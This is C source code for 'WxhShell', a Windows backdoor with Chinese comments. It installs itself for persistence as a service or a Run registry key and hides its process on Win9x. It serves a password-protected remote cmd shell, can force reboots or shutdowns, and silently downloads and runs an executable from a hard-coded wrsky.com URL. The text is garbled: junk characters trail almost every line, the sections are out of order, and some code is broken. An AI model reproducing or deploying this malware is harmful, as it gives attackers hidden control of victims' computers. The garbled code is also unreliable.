    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^I(oy.6?=p  
    if(Boot(SHUTDOWN)) 3yHb!}F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,#E3,bu6_4  
    else { yfM>8"h@  
    closesocket(wsh); `'xQ6Sy  
    ExitThread(0); B?$01?9V  
    } yD3bl%uZ  
    break; ,30FGz^i  
    } #.E\,N'  
  // 获取shell 24H^ hN9  
  case 's': { Hi; K"H]x1  
    CmdShell(wsh); OX)#F'Sl}  
    closesocket(wsh); N+\oFbE  
    ExitThread(0); `7QvwXsH]  
    break; ~^lH ^J   
  } fqcU5l[v,  
  // 退出 !paN`Fz\a  
  case 'x': { .N5h V3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _l24Ba$F6  
    CloseIt(wsh); }g>dn  
    break; HF &h  
    } KjFZ  
  // 离开 ig{A[7qN  
  case 'q': { iUeV5cB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <=;H[} e  
    closesocket(wsh); ,] ~u:Y}  
    WSACleanup(); bGZ hUEq  
    exit(1); C1X}3bB  
    break; G0I~&?nDa  
        } TJHN/Z/  
  } 8%;}LK  
  } <Jwi ~I=^  
z>cIiprX  
  // 提示信息 1.Haf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t{/:(Nu  
} p!HPp Ef+#  
  } "XGD:>Q.  
vnz[w=U  
  return; " Sc5qG  
} u:_sTfKm&  
2wB.S_4"-<  
// shell模块句柄 u iBl#J Q  
int CmdShell(SOCKET sock) |7svA<<[  
{ BCBEX&0hk{  
STARTUPINFO si; X|X4L(i  
ZeroMemory(&si,sizeof(si));  FovE$Dj]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +<pVf%u5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nGq]$h  
PROCESS_INFORMATION ProcessInfo; Ef2Y l  
char cmdline[]="cmd"; XMt u"K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bH'S.RWp=  
  return 0; NFB *1_m  
} Sp 7u_Pq{  
7V~ "x&Eu  
// 自身启动模式 n 11LxGwk  
int StartFromService(void) 8h*t55  
{ <e;jW K  
typedef struct dv"as4~%  
{ f'1(y\_fb  
  DWORD ExitStatus; c*N50%=4  
  DWORD PebBaseAddress; Iq)(UfaSve  
  DWORD AffinityMask; ctp?y  
  DWORD BasePriority; 8{R&EijC  
  ULONG UniqueProcessId; ?TIV2m^?  
  ULONG InheritedFromUniqueProcessId; w?kGi>7E  
}   PROCESS_BASIC_INFORMATION; MQwIPjk8  
j'3j}G%\T  
PROCNTQSIP NtQueryInformationProcess; tS?a){^:c  
t";{1.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; znt)]>f#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?F ce!J  
RTK}mhnV  
  HANDLE             hProcess; inYM+o!Ub  
  PROCESS_BASIC_INFORMATION pbi; uCw>}3  
RG&I\DTyt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }-d)ms!  
  if(NULL == hInst ) return 0; EbCIIMbe"  
:%N*{uy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d'ZS;l   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Iha[G u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;xfO16fNk  
e,EK,,iY5  
  if (!NtQueryInformationProcess) return 0; |)9thIQF  
!6M Bxg>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ar Q)%W  
  if(!hProcess) return 0; %Nj #0YF]  
QS^~77q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BU!#z(vU  
J5;5-:N  
  CloseHandle(hProcess); xZX`%f-  
C`)_i3 ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b 8>q;  
if(hProcess==NULL) return 0; Mal<iNN  
ba8 6 N  
HMODULE hMod; tmp6hB  
char procName[255]; bMsECA&  
unsigned long cbNeeded; 8q0I:SJy  
y=w`w>%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (z/jMMms  
j?xk&  
  CloseHandle(hProcess); D z@1rc<B  
Rv,82iEKs  
if(strstr(procName,"services")) return 1; // 以服务启动 qYK4)JP  
@M=$qO_$9  
  return 0; // 注册表启动 !x7o|l|cP  
} s D_G)c  
_5b0wdB  
// 主模块 3E,DipHg  
int StartWxhshell(LPSTR lpCmdLine) GzdRG^vN  
{ UgC)7 K1  
  SOCKET wsl; 1SUzzlRx  
BOOL val=TRUE; @T ysXx  
  int port=0; gXt O*Rfqk  
  struct sockaddr_in door; Yrxk Kw#  
qEQAn/&  
  if(wscfg.ws_autoins) Install(); !{(ls<  
@ .gPJMA  
port=atoi(lpCmdLine); 9 6=Z"  
V.8%|-d  
if(port<=0) port=wscfg.ws_port; xIL#h@dz  
hU" F;4p  
  WSADATA data; ($62o&I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?ok)>P  
Qs l80~n_7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s]Gd-j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .*Vkua  
  door.sin_family = AF_INET; B`{mdjMy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DtI$9`~  
  door.sin_port = htons(port); `*aBRwvK~  
Lc]1$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2JZdw  
closesocket(wsl); fQU{SjG  
return 1; tuxRVV8l  
} NEV p8)w  
&yU>2=/T  
  if(listen(wsl,2) == INVALID_SOCKET) { IP ,.+:i  
closesocket(wsl); <7'&1= %r  
return 1; X?/Lz;,&  
} xQU"A2{}>  
  Wxhshell(wsl); 3z3_7XI  
  WSACleanup(); .'j29 6[u  
 $:EG%jl  
return 0; HCj> ,^<h  
8z}^jTM  
} GoIQ>n  
O~PChUU*Y  
// 以NT服务方式启动 0Z HDBh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &94W-zh  
{ ?3q@f\fZ  
DWORD   status = 0; M'2r@NR8  
  DWORD   specificError = 0xfffffff; g)R1ObpZ  
o=_c2m   
  serviceStatus.dwServiceType     = SERVICE_WIN32; T SjI z5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g jxS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qTM%G-  
  serviceStatus.dwWin32ExitCode     = 0; X>zlb$  
  serviceStatus.dwServiceSpecificExitCode = 0; H)>sTST(  
  serviceStatus.dwCheckPoint       = 0; f%XJ;y\,9H  
  serviceStatus.dwWaitHint       = 0; W~ruN4q.  
4h8*mMghs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &| !B!eOY  
  if (hServiceStatusHandle==0) return; iZxt/}1X0  
exZLj0kvF  
status = GetLastError(); LZ<[ll#C  
  if (status!=NO_ERROR) ~3CVxbB^<  
{ IQnIaZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z9DcnAs  
    serviceStatus.dwCheckPoint       = 0; x2W#ROfg  
    serviceStatus.dwWaitHint       = 0; $1Z6\G O  
    serviceStatus.dwWin32ExitCode     = status; ;:]\KJm}?  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?S tsH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H}ZQ?uK;  
    return; |V|+lx'sc  
  } %3o`j<  
=&vFVIhWcf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q \O Ou  
  serviceStatus.dwCheckPoint       = 0; !SxG(*u  
  serviceStatus.dwWaitHint       = 0; & mt)d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O0hu qF$K  
} iw\%h9  
tFM$#JN  
// 处理NT服务事件,比如:启动、停止 57Z-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h`Tz5% n  
{ L/Vx~r`P  
switch(fdwControl) vH[Pb#f-  
{  {mTytT  
case SERVICE_CONTROL_STOP: 42+#<U7T  
  serviceStatus.dwWin32ExitCode = 0; A.En+-[\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QDTNx!WL  
  serviceStatus.dwCheckPoint   = 0; $yu?.b 9H#  
  serviceStatus.dwWaitHint     = 0; ub K7B |p  
  { rv7{Ow_Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z|N3G E(.@  
  } rHz||jjU  
  return; M 2q"dz   
case SERVICE_CONTROL_PAUSE: %,UPJn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vf $Dnu@}z  
  break; {whvTN1#dh  
case SERVICE_CONTROL_CONTINUE: N#ioJ^}n:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X+82[Y,mB.  
  break; :iUF7P1I  
case SERVICE_CONTROL_INTERROGATE: k'3Wt*i  
  break; 6.c^u5;  
}; Z?G&.# :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0-d>I@j  
} /4irAG% Oj  
 5@!st  
// 标准应用程序主函数 @xAfZb2E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z`Z5sj 4{  
{ -{jdn%Y7CK  
1AD]v<M  
// 获取操作系统版本 Jxl6a:  
OsIsNt=GetOsVer(); 7cTk@Gq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q3P+9/6  
?cy4&]s  
  // 从命令行安装 *rh,"Zo  
  if(strpbrk(lpCmdLine,"iI")) Install(); s:>\/[*>0c  
L.'}e{ldW  
  // 下载执行文件 h2Bz F  
if(wscfg.ws_downexe) { fV\]L4%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DN] v_u+}  
  WinExec(wscfg.ws_filenam,SW_HIDE); )> a B  
} 5&!c7$K0  
{XCf-{a]~  
if(!OsIsNt) { 9KuD(EJS  
// 如果时win9x,隐藏进程并且设置为注册表启动 quxdG>8  
HideProc(); * ?Jz2[B  
StartWxhshell(lpCmdLine); r@G#[.*A>  
} WyhhCR=;  
else PBjmGwg7  
  if(StartFromService()) 9jir* UI  
  // 以服务方式启动 Af(WV>'  
  StartServiceCtrlDispatcher(DispatchTable); 5*-3? <)e  
else MXtkP1A `  
  // 普通方式启动 3'`dFY,  
  StartWxhshell(lpCmdLine); } ^kL|qmjR  
yd_ (?V&;_  
return 0; vX|UgK?2^  
} *m+BuGt|  
9&]M**X  
\wvg,j=  
+-?/e-z")  
=========================================== yYZxLJ='  
]/X(V|t  
~FU@wV^   
d^E [|w ;  
4,p;Km&  
V ~{fB~  
" {R6HG{"IS6  
jNDx,7F-  
#include <stdio.h> yHo[{,4itA  
#include <string.h> GEUg]nw  
#include <windows.h> %/%UX{8R  
#include <winsock2.h> 0E`1HP"b  
#include <winsvc.h> 5VW|fI  
#include <urlmon.h> q8P.,%   
7V7zGx+Z7  
#pragma comment (lib, "Ws2_32.lib") ?/hZb"6W  
#pragma comment (lib, "urlmon.lib") yR5XJ;Tct  
ne}+E  
#define MAX_USER   100 // 最大客户端连接数 oXsL9,  
#define BUF_SOCK   200 // sock buffer E0n6$5Uc?  
#define KEY_BUFF   255 // 输入 buffer dEa<g99[?  
2BXy<BM @  
#define REBOOT     0   // 重启 ~nLN`H d  
#define SHUTDOWN   1   // 关机 bC!`@/  
OX]V) QHVZ  
#define DEF_PORT   5000 // 监听端口 cZ8.TsI~  
zmuMWT;  
#define REG_LEN     16   // 注册表键长度 xGk6n4Gg  
#define SVC_LEN     80   // NT服务名长度 o +B:#@9?  
rZXrT}Xh{W  
// 从dll定义API 2S[-$9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5Qwh(C^H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AM"jX"F9/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ENVk{QE!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #18FA|   
d~J-|yyT  
// wxhshell配置信息 Hy:V`>  
struct WSCFG { YIhm$A"z0"  
  int ws_port;         // 监听端口 +EXJ\wy  
  char ws_passstr[REG_LEN]; // 口令 /UcV  
  int ws_autoins;       // 安装标记, 1=yes 0=no iSLGwTdLn  
  char ws_regname[REG_LEN]; // 注册表键名 ,i9Byx#TN  
  char ws_svcname[REG_LEN]; // 服务名 Ga>uFb}W~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K BE Ax3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B;6]NCx D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9LnN$e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X!hIwiA,t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E(pF:po  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {PU!=IkTS  
'wasZ b<^  
}; UB`ToE|Ii  
m><w0k?t  
// default Wxhshell configuration N7r_77%m0  
struct WSCFG wscfg={DEF_PORT, `$LWmm#  
    "xuhuanlingzhe", qVqRf.-\  
    1, g6t"mkMY L  
    "Wxhshell", 4LcX<B U9  
    "Wxhshell", RprKm'b8x`  
            "WxhShell Service", 2zSG&",2D  
    "Wrsky Windows CmdShell Service", o Pci66  
    "Please Input Your Password: ", QS.>0i/7l  
  1, R:-JkV>e:  
  "http://www.wrsky.com/wxhshell.exe", asiov[o;  
  "Wxhshell.exe" 6d[_G$'nk  
    }; gU^$Sx7'  
-Y#sI3o*R8  
// 消息定义模块 8M,9kXq{L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OI1ud/>h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #eZ6)i<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qhi '') Q  
char *msg_ws_ext="\n\rExit."; Y/<lWbj*A  
char *msg_ws_end="\n\rQuit."; '+>fFM,*B  
char *msg_ws_boot="\n\rReboot..."; F7L&=K$2y  
char *msg_ws_poff="\n\rShutdown..."; d6{Gt"  
char *msg_ws_down="\n\rSave to "; f*{ YFg?*&  
sxKf&p;  
char *msg_ws_err="\n\rErr!"; ?^mi3VM  
char *msg_ws_ok="\n\rOK!"; V"o7jsFH6n  
0kQPJWF  
char ExeFile[MAX_PATH]; c !ZM  
int nUser = 0; yq-=],h  
HANDLE handles[MAX_USER]; `O?TUQGR  
int OsIsNt; /M~!sPW&?  
cq&*.  
SERVICE_STATUS       serviceStatus; 'TC/vnM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .MW@;  
&;,,H< p  
// 函数声明 1(Y7mM8\  
int Install(void); m"\:o  
int Uninstall(void); .o1^Oh  
int DownloadFile(char *sURL, SOCKET wsh); B&+`)E{KB  
int Boot(int flag); aJL^AG  
void HideProc(void); AsS$C&^  
int GetOsVer(void); r)9Dy,  
int Wxhshell(SOCKET wsl); unJid8Lo  
void TalkWithClient(void *cs); 87%*+n:?*  
int CmdShell(SOCKET sock); YIt& >  
int StartFromService(void); Md6]R-l@  
int StartWxhshell(LPSTR lpCmdLine); {Sl57!U5  
OdWou|Gz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xqXDxJlns  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t>GfM  
(bOpV>\Q7  
// 数据结构和表定义 Tu{&v'!j6  
SERVICE_TABLE_ENTRY DispatchTable[] = :WI.LKlo~  
{ pMg3fUIM  
{wscfg.ws_svcname, NTServiceMain}, zsU=sTsL  
{NULL, NULL} ?&LZB}1R  
}; s](aNe2j  
_zt1 9%Wg  
// 自我安装 - K%,^6  
int Install(void) k%wn0Erd  
{ Xtz-\v#0o'  
  char svExeFile[MAX_PATH]; KTvzOI8  
  HKEY key; s]T""-He  
  strcpy(svExeFile,ExeFile); l kyzNy9R  
Mypc3  
// 如果是win9x系统,修改注册表设为自启动 &R|/t :DN  
if(!OsIsNt) { fP tm0.r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (>6*#9#p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +x9cT G  
  RegCloseKey(key); {e|*01hE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .6O"| Mqb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f)c~cJz<q  
  RegCloseKey(key); Q$obOEr2(  
  return 0; )%SkJ  
    } x:vu'A  
  } /( .6bv  
} ;!91^Tl  
else { k4qp u=@U  
\Gm-MpW  
// 如果是NT以上系统,安装为系统服务 %p^.\ch9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >e2<!#er|  
if (schSCManager!=0) AM"Nn L"  
{ 4!asT;`'  
  SC_HANDLE schService = CreateService Q6o(']0  
  ( R1F5-#?'E  
  schSCManager, {7!UQrm<  
  wscfg.ws_svcname, )eUW5 tS  
  wscfg.ws_svcdisp, Zh5RwQNE~  
  SERVICE_ALL_ACCESS, p~ C.IG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6:U$w7P0 e  
  SERVICE_AUTO_START, -/_L*oYli  
  SERVICE_ERROR_NORMAL, lP Lz@Up~  
  svExeFile, _|72r} j  
  NULL, 2f U$J>Y  
  NULL, !zPG? q]3  
  NULL, "dR |[a<#g  
  NULL, $M_x!f'{>  
  NULL RH}A  
  ); =X?\MVWB  
  if (schService!=0) ,f}UGd[a  
  { ug{R 3SS  
  CloseServiceHandle(schService);  hjO*~  
  CloseServiceHandle(schSCManager); WwC 5!kZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2([2Pb3<"  
  strcat(svExeFile,wscfg.ws_svcname); &U+ _ -Ph  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \BWyk A>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j1SMeDDM ~  
  RegCloseKey(key); V`adWXu  
  return 0; h8\  T  
    } th6+2&B6  
  } Qn ^bVhG+  
  CloseServiceHandle(schSCManager); o7B[R) 4  
} 5L:1A2Z?c  
} |AlR^N  
Z5c~^jL$-  
return 1; mh<=[J,%p  
} >7!6nF3x,  
<Sz52Suh>  
// 自我卸载 h' !imQ  
int Uninstall(void) L lBN-9p  
{  )>D+x5o]  
  HKEY key; "x@='>:$  
{bO|409>W  
if(!OsIsNt) { [^8n0{JiN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e]=!"nJ+  
  RegDeleteValue(key,wscfg.ws_regname); USN8N (  
  RegCloseKey(key); "NRDNqj(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !6Sd(2  
  RegDeleteValue(key,wscfg.ws_regname); !*2%"H*  
  RegCloseKey(key); dd?x(,"A`  
  return 0; 0y&I/2  
  } qO`)F8  
}  tpy>OT$  
} 6#j$GH *  
else { $3Z-)m  
7PR#(ftz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B?$ "\;&  
if (schSCManager!=0) m/NdJMoN=  
{ 3] 1-M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E;21?`x5  
  if (schService!=0) #,{+3Y&5-+  
  { ^m_yf|D$  
  if(DeleteService(schService)!=0) { nm7;ieMfr  
  CloseServiceHandle(schService); H:p Z-v*  
  CloseServiceHandle(schSCManager); fYE(n8W3  
  return 0; /6O??6g  
  } 1FtM>&%4  
  CloseServiceHandle(schService); uxg9yp@|  
  } X0 -IRJ[  
  CloseServiceHandle(schSCManager); dD<fn9t  
} lnE+Au'  
} -@>BHC  
< j$#9QQ1  
return 1; "RVcA",  
} X7L8h'(@  
OT^%3:zg  
// 从指定url下载文件 B3Jgd,[  
int DownloadFile(char *sURL, SOCKET wsh) 9dMrgz&'  
{ :';L/x>  
  HRESULT hr; '8Phxx|  
char seps[]= "/"; |*RYq2y  
char *token; T5Dw0Y6u,  
char *file; jL)WPq!m+  
char myURL[MAX_PATH]; h;5LgAY|v  
char myFILE[MAX_PATH]; #d{=\$=  
50dGBF  
strcpy(myURL,sURL); ?^:h\C^a"  
  token=strtok(myURL,seps);  p0.|<  
  while(token!=NULL) x\2?ym@  
  { H A}f,),G  
    file=token; XPB9~::  
  token=strtok(NULL,seps); D@EO=08<b  
  } gn5)SP8  
X0{/ydG F8  
GetCurrentDirectory(MAX_PATH,myFILE); RFh"&0[  
strcat(myFILE, "\\"); +!f=jg06  
strcat(myFILE, file); &h*S y  
  send(wsh,myFILE,strlen(myFILE),0); OL7_'2_z.  
send(wsh,"...",3,0); (wc03,K^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m8623D B"  
  if(hr==S_OK) va f&X]p  
return 0; JO14KY*%  
else 'gQidf  
return 1; Hn,:`mj4-6  
?Z\Yu'  
} {%w!@-  
E^w:KC2@  
// 系统电源模块 1GEK:g2B  
int Boot(int flag) zU6a't P  
{ \b[9ebME  
  HANDLE hToken; {;2i.m1  
  TOKEN_PRIVILEGES tkp; _wb0'xoK"  
ozsxXBh-`'  
  if(OsIsNt) { &iN--~}!$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7z_;t9Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p}Fs'l?7Rq  
    tkp.PrivilegeCount = 1; 9iN.3/T8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8#R?]Uwq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W;?(,xx  
if(flag==REBOOT) { ry};m_BY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3CTX -#)vS  
  return 0; 4^6.~6a  
} +b;hBb]R  
else { (Lh#`L?x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [fu!AIQs  
  return 0; w^K^I_2ge  
} O{*GW0}55  
  } .8%vd  
  else { =Y:5,.U  
if(flag==REBOOT) { - Ra\^uz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QZ:v  
  return 0; >Ziy1Dp  
} )*+u\x_Hx  
else { @V7;TJk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "&| lO|  
  return 0; *SXSF95  
} e$x4Ux7*"  
} 0yKwH\S  
0.3^   
return 1; a?l_-Fi  
} !HbqbS22  
37,L**Dgs  
// win9x进程隐藏模块 C!`>cUhE{  
void HideProc(void) /;[}=JL<Q  
{ }q/(D?  
EF0Pt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `g2&{)3k  
  if ( hKernel != NULL ) 6{lG1\o  
  { '=-s1c@^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b^+Fs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7B VXBw  
    FreeLibrary(hKernel); aKa  R  
  } 1+VY><=n  
P~n8EO1r  
return; CuF%[9[cT  
} ,,zd.9n  
z^ YeMe  
// 获取操作系统版本 _95- -\  
int GetOsVer(void) ;sm"\.jF  
{ !XkymIX~O.  
  OSVERSIONINFO winfo; k{zs578h2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7=; D0SS  
  GetVersionEx(&winfo); t@l(xnsV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .Gjr`6R  
  return 1; t00\yb^vJ8  
  else |C&%S"*+D  
  return 0; U#OWUZ  
} ,s\x]bh  
Qo]vpp^[#  
// 客户端句柄模块 X v`2hf  
int Wxhshell(SOCKET wsl) XPGL3[w\V  
{ 0EcC  
  SOCKET wsh; t$ACQ*O  
  struct sockaddr_in client; aslU`#"  
  DWORD myID; myEGibhK  
[u,hc/PL  
  while(nUser<MAX_USER) ~%D^ Ga7  
{ jdV .{8@  
  int nSize=sizeof(client); CM+F7#T?n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nNd`]F^U  
  if(wsh==INVALID_SOCKET) return 1; j;$6F/g  
|G|*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V=G b>_d  
if(handles[nUser]==0) T b5$  
  closesocket(wsh); x&Q+|b%  
else Z[DetRc-  
  nUser++; rC* sNy2  
  } rTWh(8T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YlZYS'_  
7F>gj  
  return 0; jh<TdvF2$  
} qAS70XjOF  
&/J.0d-*``  
// 关闭 socket xl1L4R)6D  
void CloseIt(SOCKET wsh) {mCKTyN+  
{ +#de8/x  
closesocket(wsh); 8MYLXW6  
nUser--; e; &{50VY  
ExitThread(0); CVyx lc>  
}  =F",D=  
{[YqGv=fF  
// 客户端请求句柄 R=#q"9qz  
void TalkWithClient(void *cs) .Um?5wG~i  
{ =!1-AR%.^  
v#FJ+  
  SOCKET wsh=(SOCKET)cs; {ar5c&<  
  char pwd[SVC_LEN]; 'xLM>6[wz  
  char cmd[KEY_BUFF]; ,v$2'm)V  
char chr[1]; ~#HH;q_7m  
int i,j; N(:EK  
gQ[]  
  while (nUser < MAX_USER) { .!7Fe)(x  
w~cq% %  
if(wscfg.ws_passstr) { mG}^'?^K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kuKnJWv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5WtQwN~  
  //ZeroMemory(pwd,KEY_BUFF); (R;) 9I\  
      i=0; {UV<=R,E  
  while(i<SVC_LEN) { Lic{'w&  
<Y}"D Yt  
  // 设置超时 ?34EJ !  
  fd_set FdRead; vy2*BTU?  
  struct timeval TimeOut; =,/A\F  
  FD_ZERO(&FdRead); qb>|n1F_  
  FD_SET(wsh,&FdRead); Tb!B!m  
  TimeOut.tv_sec=8; *783xEF>f  
  TimeOut.tv_usec=0; O&rD4#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,Do$`yO+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2m)kyQ  
Y1yvI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $~w@0Yl  
  pwd=chr[0]; 34+)-\xt:  
  if(chr[0]==0xd || chr[0]==0xa) { VrnK)za*H  
  pwd=0; )$9C`d[  
  break; ecSdU>  
  } "FLD%3l  
  i++; $,z[XM&9)  
    } LoV*YSDAY  
,\m;DR1  
  // 如果是非法用户,关闭 socket [+:mt</HN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3;t@KuQ66  
} laD.or  
+_-)0[+p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BW;=i.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ( TbB?X}  
\U<F\i  
while(1) { k Nf!j  
^t^<KL;  
  ZeroMemory(cmd,KEY_BUFF); Un8#f+odR  
)LMBxyS  
      // 自动支持客户端 telnet标准   f/IRO33  
  j=0; kw}ISXz v  
  while(j<KEY_BUFF) { 9Ww=hfb5UW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *'`3]!A  
  cmd[j]=chr[0]; lo>-}xd  
  if(chr[0]==0xa || chr[0]==0xd) { 9m#H24{V'  
  cmd[j]=0; 9 +N._u  
  break; r=P$iG'&  
  } 9`gGsC  
  j++; !7,K9/"  
    } @6I[{{>X  
Jq?^8y  
  // 下载文件 S7#^u`'Q_^  
  if(strstr(cmd,"http://")) { LfjS[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KH@) +Rj  
  if(DownloadFile(cmd,wsh)) DoCQFSL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^$&"<  
  else 33v%e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F|n$0vQ*  
